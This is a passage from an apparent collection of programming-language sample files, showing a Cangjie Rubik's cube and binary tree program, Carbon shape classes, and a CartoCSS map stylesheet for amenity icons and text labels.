ArrayList<Rotation>()\n        for (face in [F, B, L, R, U, D]) {\n            data[face] = Matrix.create(face)\n        }\n    }\n\n    \n    \n    private func rotate(face: Face, inverse: Bool) {\n        const N = 3\n        let matrix = Matrix.create(face)\n        let map = if (inverse) {\n            {i: Int64, j: Int64 => (N - 1 - j, i)}\n        } else {\n            {i: Int64, j: Int64 => (j, N - 1 - i)}\n        }\n        for (i in 0..N) {\n            for (j in 0..N) {\n                let (u, v) = map(i, j)\n                matrix[u][v] = data[face][i][j]\n            }\n        }\n        data[face] = matrix\n    }\n\n    \n    private func permute(perm: Permutation, inverse: Bool) {\n        let p = if (inverse) {\n            perm.inverse()\n        } else {\n            perm.clone()\n        }\n        p.reverse()\n        var (lastFace, lastIndex) = p[0]\n        let vector = data[lastFace][lastIndex]\n        for (i in 1..p.size) {\n            let (face, index) = p[i]\n            data[lastFace].set(lastIndex, data[face][index])\n            (lastFace, lastIndex) = (face, index)\n        }\n        data[lastFace].set(lastIndex, vector)\n    }\n\n    \n    private func transform(rotation: Rotation, inverse: Bool): Unit {\n        match (rotation) {\n            case I(r) => transform(r, !inverse)\n            case X(r1, r2) => \n                if (inverse) { \n                    transform(r2, inverse)\n                    transform(r1, inverse)\n                } else {\n                    transform(r1, inverse)\n                    transform(r2, inverse)\n                }\n            case _ => \n                rotate(rotation, inverse)\n                permute(permutation[rotation], inverse)\n        }\n    }\n\n    public func transform(rotation: Rotation) {\n        transform(rotation, false)\n        history.add(rotation)\n        print()\n    }\n\n    public func print() {\n        var prompt = \">> \"\n        for (rotation in history) {\n            prompt += rotation.toString()\n        }\n        println(prompt)\n        data[U].print()\n        for (i in 0..3) {\n            for (face in [L, F, R]) {\n                data[face].print(i)\n            }\n            println()\n        }\n        data[D].print()\n        data[B].print()\n        println()\n    }\n}\n\nmain() {\n    let cube = Cube()\n    cube.print()\n    \n    for (r in [F, B, L, R, U, D]) {\n        cube.transform(r) \n    }\n    Cube().transform(F * R * I(F * R)) \n\n    \n    \n    Cube().transform((F * F * R * R) ** 6)\n    \n    Cube().transform((F * U * L * L * R) ** 36)\n    Cube().transform((F * F * L * L * B * R) ** 90)\n\n    \n    \n    let G = I(R) * D * R * F * D * I(F)\n    Cube().transform(G)\n    \n    let H = U * G * I(U)\n    Cube().transform(H)\n\n    \n    \n    let M = R * I(L) * F * F * L * I(R) * I(D) * R * I(L) * F * L * I(R)\n    Cube().transform(M)\n    \n    \n    let N = M * I(U) * I(M) * U\n    Cube().transform(N)\n    \n    let P = N * U * I(N) * I(U)\n    Cube().transform(P)\n}\n"
  },
  {
    "path": "samples/Cangjie/tree.cj",
    "content": "package cangjie\n\nstruct Node<T> where T <: ToString {\n    public Node(var value: T,\n        let left!: ?Node<T> = None,\n        let right!: ?Node<T> = None) {}\n\n    public func traverse(): Unit {\n        left?.traverse()\n        print(value)\n        right?.traverse()\n    }\n\n    public mut func set(value: T) {\n        this.value = value\n    }\n}\n\nmain() {\n    var tree1 = Node(r'X',\n        left: Node(r'B', left: Node(r'C', right: Node(r'D'))),\n        right: Node(r'E', left: Node(r'F'), right: Node(r'G')))\n    tree1.set(r'A')\n    tree1.traverse()\n\n    println()\n    var tree2 = Node(0,\n        left: Node(2, left: Node(3, right: Node(4))),\n        right: Node(5, left: Node(6), right: Node(7)))\n    tree2.set(1)\n    tree2.traverse()\n}\n"
  },
  {
    "path": "samples/Carbon/Shapes.carbon",
    "content": "package Shapes api;\nimport Math;\n\n// Circle\n\nclass Circle {\n    var Radius: f32 = 1;\n    const var Diameter: f32 = self.Radius * 2;\n\n    const var Pi: f32 = Math.Pi;\n\n    fn Area() -> self;\n    fn Circumference() -> self;\n}\n\nfn Circle.Area() -> self {\n    return Math.Pi * .Radius ^ 2\n}\n\nfn Circle.Circumference() -> self {\n    return 2 * Math.Pi * .Radius\n}\n\n// Rectangle\n\nclass Rectangle {\n    var Width: f32 = 3;\n    var Height: f32 = 1;\n\n    fn Area() -> self;\n}\n\nfn Rectangle.Area() -> self {\n    return .Width * .Height;\n}\n\n// Square (Note: Provides same functions as \"Rectangle\" class.)\n\nclass Square {\n    var Width: f32 = 3;\n    var Height: f32 = 1;\n\n    fn Area() -> self;\n}\n\nfn Square.Area() -> self {\n    return .Width * .Height;\n}\n\n// Triangle\n\nclass Triangle {\n    var Width: f32 = 3;\n    var Height: f32 = 3;\n\n    fn Area() -> self;\n}\n\nfn Triangle.Area() -> self {\n    return (.Width * .Height) / 2;\n}\n\n// Hexagon\n\nclass Hexagon {\n    var Side: f32 = 5;\n\n    fn Area() -> self;\n}\n\nfn Hexagon.Area() -> self {\n    return ((3 * 1.732) / 2) * .Side ^ 2\n}\n"
  },
  {
    "path": "samples/Carbon/main.carbon",
    "content": "// Part of linguist/samples\n\nimport Shapes;\nimport \"some/graphics/library\"; // This does not exist (read below)\n\nfn main() -> i32 {\n  // This sample does not show the usage of a real graphics library since there is no major usable graphics library for Carbon.\n  // As the language grows, some UI library will emerge for it and this sample can be updated.\n\n  var newGraphicRectangle: Shapes.Rectangle = {Width = 500, Height = 1250 };\n\n  var graphicsWindow: auto = Graphics.Window(newGraphicRectangle, \"Window Name\");\n  graphicsWindow.Show(true);\n\n  return 0;\n}\n"
  },
  {
    "path": "samples/CartoCSS/amenity-points.mss",
    "content": "@marina-text: #576ddf; // also swimming_pool\n@wetland-text: darken(#017fff, 10%); /* Also for marsh */\n@mud-text: darken(#aea397, 20%);\n@shop-icon: #ac39ac;\n@transportation-icon: #0092da;\n@transportation-text: #0066ff;\n@airtransport: #8461C4;\n\n@landcover-font-size: 10;\n@landcover-font-size-big: 12;\n@landcover-font-size-bigger: 15;\n@landcover-wrap-width-size: 25;\n@landcover-wrap-width-size-big: 35;\n@landcover-wrap-width-size-bigger: 45;\n@landcover-face-name: @oblique-fonts;\n\n@standard-wrap-width: 30;\n\n.points {\n  [feature = 'tourism_alpine_hut'][zoom >= 13] {\n    point-file: url('symbols/alpinehut.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_shelter'][zoom >= 16] {\n    point-file: url('symbols/shelter2.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_atm'][zoom >= 17] {\n    point-file: url('symbols/atm2.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_bank'][zoom >= 17] {\n    point-file: url('symbols/bank2.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_bar'][zoom >= 17] {\n    point-file: url('symbols/bar.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_bicycle_rental'][zoom >= 17] {\n    point-file: url('symbols/rental_bicycle.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'highway_bus_stop'] {\n    [zoom >= 16] {\n      marker-file: url('symbols/square.svg');\n      marker-fill: @transportation-icon;\n      marker-placement: interior;\n      marker-width: 6;\n    }\n    [zoom >= 17] {\n      marker-file: url('symbols/bus_stop.p.12.png');\n      marker-width: 12;\n    }\n  }\n\n  [feature = 'amenity_bus_station'][zoom >= 16] {\n    point-file: url('symbols/bus_station.n.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'highway_traffic_signals'][zoom >= 17] {\n    marker-file: url('symbols/traffic_light.svg');\n    marker-fill: #0a0a0a;\n    marker-placement: interior;\n  }\n\n  [feature = 'amenity_cafe'][zoom >= 17] {\n    point-file: url('symbols/cafe.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_camp_site'][zoom >= 16] {\n    point-file: url('symbols/camping.n.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'highway_ford'][zoom >= 16] {\n    point-file: url('symbols/transport_ford.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_caravan_site'][zoom >= 16] {\n    point-file: url('symbols/caravan_park.p.24.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_car_sharing'][zoom >= 16] {\n    point-file: url('symbols/car_share.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_chalet'][zoom >= 17] {\n    point-file: url('symbols/chalet.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_cinema'][zoom >= 16] {\n    point-file: url('symbols/cinema.p.24.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_fire_station'][zoom >= 16] {\n    point-file: url('symbols/firestation.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_fuel'][zoom >= 17] {\n    point-file: url('symbols/fuel.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_guest_house'][zoom >= 17] {\n    point-file: url('symbols/guest_house.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_hospital'][zoom >= 15] {\n    point-file: url('symbols/hospital.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_hostel'][zoom >= 17] {\n    point-file: url('symbols/hostel.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_hotel'][zoom >= 17] {\n    point-file: url('symbols/hotel2.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_motel'][zoom >= 17] {\n    point-file: url('symbols/motel.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_information'][zoom >= 17] {\n    point-file: url('symbols/information.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_embassy'][zoom >= 17] {\n    point-file: url('symbols/embassy.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_library'][zoom >= 16] {\n    point-file: url('symbols/library.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_courthouse'][zoom > 16] {\n    point-file: url('symbols/amenity_court.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'waterway_lock'],\n  [feature = 'lock_yes'] {\n    [zoom >= 15] {\n      marker-fill: #969494;\n      marker-width: 9;\n      marker-line-width: 0;\n      marker-placement: interior;\n    }\n  }\n\n  [feature = 'man_made_mast'][zoom >= 17] {\n    point-file: url('symbols/communications.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_museum'][zoom >= 16] {\n    point-file: url('symbols/museum.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_parking'][zoom >= 16] {\n    marker-file: url('symbols/parking.svg');\n    marker-placement: interior;\n    marker-clip: false;\n    marker-fill: @transportation-icon;\n    [access != ''][access != 'public'][access != 'yes'] {\n      marker-opacity: 0.33;\n    }\n  }\n\n  [feature = 'amenity_pharmacy'][zoom >= 17] {\n    point-file: url('symbols/pharmacy.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_place_of_worship'][zoom >= 16] {\n    point-file: url('symbols/place_of_worship3.p.16.png');\n    point-placement: interior;\n    [religion = 'christian'] {\n      point-file: url('symbols/christian3.p.14.png');\n      [denomination = 'jehovahs_witness']{\n        point-file: url('symbols/place_of_worship3.p.16.png');\n      }\n    }\n    [religion = 'muslim'] {\n      point-file: url('symbols/islamic3.p.16.png');\n    }\n    [religion = 'sikh'] {\n      point-file: url('symbols/sikh3.p.16.png');\n    }\n    [religion = 'jewish'] {\n      point-file: url('symbols/jewish3.p.16.png');\n    }\n    [religion = 'hindu'] {\n      point-file: url('symbols/hindu.png');\n    }\n    [religion = 'buddhist'] {\n      point-file: url('symbols/buddhist.png');\n    }\n    [religion = 'shinto'] {\n      point-file: url('symbols/shinto.png');\n    }\n    [religion = 'taoist'] {\n      point-file: url('symbols/taoist.png');\n    }\n  }\n\n  [feature = 'amenity_police'][zoom >= 16] {\n    point-file: url('symbols/police.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_post_box'][zoom >= 17] {\n    point-file: url('symbols/post_box.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_post_office'][zoom >= 17] {\n    point-file: url('symbols/post_office.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_pub'][zoom >= 17] {\n    point-file: url('symbols/pub.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_biergarten'][zoom >= 17] {\n    point-file: url('symbols/biergarten.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_recycling'][zoom >= 16] {\n    point-file: url('symbols/recycling.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_restaurant'][zoom >= 17] {\n    point-file: url('symbols/restaurant.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_fast_food'][zoom >= 17] {\n    point-file: url('symbols/fast_food.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_telephone'][zoom >= 17] {\n    point-file: url('symbols/telephone.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_emergency_phone'][zoom >= 17] {\n    point-file: url('symbols/sosphone.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_theatre'][zoom >= 16] {\n    point-file: url('symbols/theatre.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_toilets'][zoom >= 17] {\n    point-file: url('symbols/toilets.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_drinking_water'][zoom >= 17] {\n    point-file: url('symbols/food_drinkingtap.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'amenity_prison'][zoom >= 17] {\n    point-file: url('symbols/amenity_prison.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_viewpoint'][zoom >= 16] {\n    point-file: url('symbols/view_point.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'man_made_water_tower'][zoom >= 17] {\n    point-file: url('symbols/tower_water.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'historic_memorial'][zoom >= 17] {\n    point-file: url('symbols/tourist_memorial.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'historic_archaeological_site'][zoom >= 16] {\n    point-file: url('symbols/tourist_archaeological2.glow.24.png');\n    point-placement: interior;\n  }\n\n  [feature = 'shop_other'][zoom >= 17] {\n    marker-fill: @shop-icon;\n    marker-width: 6;\n    marker-line-width: 0;\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'shop_supermarket'][zoom >= 16] {\n    marker-file: url('symbols/shop_supermarket.svg');\n    marker-placement: interior;\n    marker-clip: false;\n    marker-fill: @shop-icon;\n  }\n\n  [feature = 'shop_bakery'][zoom >= 17] {\n    marker-file: url('symbols/shop_bakery.p.16.png');\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'shop_butcher'][zoom >= 17] {\n    marker-file: url('symbols/shop_butcher.png');\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'shop_clothes'],\n  [feature = 'shop_fashion'] {\n    [zoom >= 17] {\n      marker-file: url('symbols/shop_clothes.svg');\n      marker-placement: interior;\n      marker-clip: false;\n      marker-fill: @shop-icon;\n    }\n  }\n\n  [feature = 'shop_convenience'][zoom >= 17] {\n    marker-file: url('symbols/shop_convenience.svg');\n    marker-placement: interior;\n    marker-clip: false;\n    marker-fill: @shop-icon;\n  }\n\n  [feature = 'shop_department_store'][zoom >= 16] {\n    point-file: url('symbols/department_store.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'shop_doityourself'][zoom >= 17] {\n    marker-file: url('symbols/shop_diy.p.16.png');\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'shop_florist'][zoom >= 17] {\n    marker-file: url('symbols/florist.p.16.png');\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'shop_hairdresser'][zoom >= 17] {\n    marker-file: url('symbols/shop_hairdresser.p.16.png');\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'shop_car'][zoom >= 17] {\n    marker-file: url('symbols/shop_car.svg');\n    marker-placement: interior;\n    marker-clip: false;\n    marker-fill: @shop-icon;\n  }\n\n  [feature = 'shop_car_repair'][zoom >= 17] {\n    marker-file: url('symbols/shopping_car_repair.p.16.png');\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'shop_bicycle'][zoom >= 17] {\n    marker-file: url('symbols/shopping_bicycle.p.16.png');\n    marker-placement: interior;\n    marker-clip: false;\n  }\n\n  [feature = 'leisure_playground'][zoom >= 17] {\n    point-file: url('symbols/playground.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'tourism_picnic_site'][zoom >= 16] {\n    point-file: url('symbols/picnic.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'leisure_picnic_table'][zoom >= 17] {\n    point-file: url('symbols/picnic.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'leisure_slipway'][zoom >= 17] {\n    point-file: url('symbols/transport_slipway.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'aeroway_helipad'][zoom >= 16]::aeroway {\n    marker-file: url('symbols/helipad.svg');\n    marker-clip: false;\n    marker-fill: @airtransport;\n  }\n\n  [feature = 'aeroway_aerodrome'][zoom >= 10][zoom < 14]::aeroway {\n    marker-file: url('symbols/aerodrome.svg');\n    marker-clip: false;\n    marker-fill: @airtransport;\n  }\n\n  [feature = 'man_made_lighthouse'][zoom >= 15]::man_made {\n    point-file: url('symbols/lighthouse.p.20.png');\n    point-placement: interior;\n  }\n\n  [feature = 'natural_peak'][zoom >= 11]::natural {\n    marker-file: url('symbols/peak.svg');\n    marker-fill: #d08f55;\n    marker-placement: interior;\n  }\n\n  [feature = 'natural_volcano'][zoom >= 11]::natural {\n    marker-file: url('symbols/peak.svg');\n    marker-fill: #d40000;\n    marker-placement: interior;\n  }\n\n  [feature = 'natural_saddle'][zoom >= 15]::natural {\n    marker-file: url('symbols/saddle.svg');\n    marker-fill: #d08f55;\n    marker-placement: interior;\n  }\n\n  [feature = 'natural_cave_entrance'][zoom >= 15]::natural {\n    point-file: url('symbols/poi_cave.p.16.png');\n    point-placement: interior;\n  }\n\n  [feature = 'natural_spring'][zoom >= 14]::natural {\n    marker-file: url('symbols/spring.svg');\n    marker-placement: interior;\n  }\n\n  [feature = 'natural_tree'][zoom >= 16]::natural {\n    marker-placement: interior;\n    marker-ignore-placement: true;\n    marker-line-width: 0;\n    marker-width: 3;\n    marker-fill: #239c45;\n    [zoom >= 17] {\n      marker-line-width: 1;\n      marker-line-color: #8ef2ab;\n      marker-width: 4;\n    }\n  }\n\n  [feature = 'power_generator']['generator:source' = 'wind']::power,\n  [feature = 'power_generator'][power_source = 'wind']::power {\n    [zoom >= 15] {\n      point-file: url('symbols/power_wind.png');\n      point-placement: interior;\n    }\n  }\n\n  [feature = 'man_made_windmill'][zoom >= 16]::man_made {\n    point-file: url('symbols/windmill.png');\n    point-placement: interior;\n  }\n\n  [feature = 'man_made_mast'][zoom >= 17]::man_made {\n    point-file: url('symbols/communications.p.20.png');\n    point-placement: interior;\n  }\n}\n\n.amenity-low-priority {\n  [railway = 'level_crossing'][zoom >= 14]::railway {\n    point-file: url('symbols/level_crossing.svg');\n    point-placement: interior;\n    [zoom >= 16] {\n      point-file: url('symbols/level_crossing2.svg');\n    }\n  }\n\n  [highway = 'mini_roundabout'][zoom >= 16]::highway {\n    marker-file: url('symbols/mini_roundabout.svg');\n    marker-placement: interior;\n  }\n\n  [barrier = 'gate']::barrier {\n    [zoom >= 16] {\n      marker-file: url('symbols/gate.svg');\n      marker-placement: interior;\n    }\n  }\n\n  [barrier = 'lift_gate'][zoom >= 16]::barrier {\n    marker-file: url('symbols/liftgate.svg');\n    marker-fill: #3f3f3f;\n    marker-placement: interior\n  }\n\n  [barrier = 'bollard'],\n  [barrier = 'block'] {\n    [zoom >= 16] {\n      marker-width: 3;\n      marker-line-width: 0;\n      marker-fill: #7d7c7c;\n      marker-placement: interior;\n\n      [zoom >= 18] {\n        marker-width: 4;\n      }\n    }\n  }\n}\n\n.text-low-zoom[zoom < 10],\n.text[zoom >= 10] {\n  [feature = 'place_island'][zoom >= 7][way_pixels > 3000],\n  [feature = 'place_island'][zoom >= 16],\n  [feature = 'place_islet'][zoom >= 14][way_pixels > 3000],\n  [feature = 'place_islet'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-fill: #000;\n    text-size: 10;\n    [way_pixels > 12000] { text-size: 12; }\n    [way_pixels > 48000] { text-size: 15; }\n    text-face-name: @oblique-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'amenity_pub'],\n  [feature = 'amenity_restaurant'],\n  [feature = 'amenity_cafe'],\n  [feature = 'amenity_fast_food'],\n  [feature = 'amenity_biergarten'],\n  [feature = 'amenity_bar'] {\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-fill: #734a08;\n      text-size: 10;\n      text-dy: 11;\n      text-face-name: @bold-fonts;\n      text-halo-radius: 1;\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n      [feature = 'amenity_bar']{\n        text-dy: 13;\n      }\n    }\n  }\n\n  [feature = 'amenity_library'],\n  [feature = 'amenity_theatre'],\n  [feature = 'amenity_courthouse'],\n  [feature = 'amenity_cinema'] {\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: 10;\n      text-fill: #734a08;\n      text-dy: 13;\n      text-face-name: @bold-fonts;\n      text-halo-radius: 1;\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n      [feature = 'amenity_cinema'] {\n        text-dy: 15;\n      }\n    }\n  }\n\n  [feature = 'amenity_parking'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: @transportation-text;\n    text-dy: 9;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n    [access != ''][access != 'public'][access != 'yes'] {\n      text-fill: #66ccaf;\n    }\n  }\n\n  [feature = 'amenity_police'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: #734a08;\n    text-dy: 11;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'amenity_fire_station'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: #734a08;\n    text-dy: 11;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'amenity_place_of_worship'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: #000033;\n    text-dy: 12;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'natural_wood'][is_building = 'no'] {\n    [zoom >= 8][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@wood, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_peak'],\n  [feature = 'natural_volcano'] {\n    [zoom >= 13] {\n      text-name: \"[name]\";\n      text-size: 10;\n      text-fill: brown;\n      text-dy: 7;\n      text-face-name: @book-fonts;\n      text-halo-radius: 1;\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n      ele/text-name: \"[ele]\";\n      ele/text-size: 9;\n      ele/text-fill: brown;\n      ele/text-dy: 6;\n      ele/text-face-name: @oblique-fonts;\n      ele/text-halo-radius: 1;\n      ele/text-placement: interior;\n      [name != ''] {\n        ele/text-dy: 19;\n      }\n    }\n  }\n\n  [feature = 'natural_saddle'] {\n    [zoom >= 15] {\n      text-name: \"[name]\";\n      text-size: 10;\n      text-fill: brown;\n      text-dy: 7;\n      text-face-name: @book-fonts;\n      text-halo-radius: 1;\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n      ele/text-name: \"[ele]\";\n      ele/text-size: 9;\n      ele/text-fill: brown;\n      ele/text-dy: 6;\n      ele/text-face-name: @oblique-fonts;\n      ele/text-halo-radius: 1;\n      ele/text-placement: interior;\n      [name != ''] {\n        ele/text-dy: 19;\n      }\n    }\n  }\n\n  [feature = 'natural_cave_entrance'][zoom >= 15] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: brown;\n    text-dy: 11;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'historic_memorial'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: brown;\n    text-dy: 13;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'historic_archaeological_site'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: brown;\n    text-dy: 15;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'natural_water'],\n  [feature = 'natural_lake'],\n  [feature = 'landuse_reservoir'],\n  [feature = 'landuse_basin'] {\n    [way_area >= 40000000][zoom >= 10],\n    [way_area >= 10000000][zoom >= 11],\n    [way_area >= 2400000][zoom >= 12],\n    [way_area >= 600000][zoom >= 13],\n    [way_area >= 150000][zoom >= 14],\n    [way_area >= 80000][zoom >= 15],\n    [way_area >= 20000][zoom >= 16],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: 12;\n      text-fill: @water-text;\n      text-face-name: @oblique-fonts;\n      text-halo-radius: 1;\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_mud'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: @mud-text;\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_wetland'][is_building = 'no'],\n  [feature = 'natural_marsh'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: @wetland-text;\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'leisure_swimming_pool'][is_building = 'no'] {\n    [zoom >= 14][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: @marina-text;\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'leisure_sports_centre'][is_building = 'no'],\n  [feature = 'leisure_stadium'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@stadium, 30%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'leisure_track'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@track, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'leisure_pitch'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@pitch, 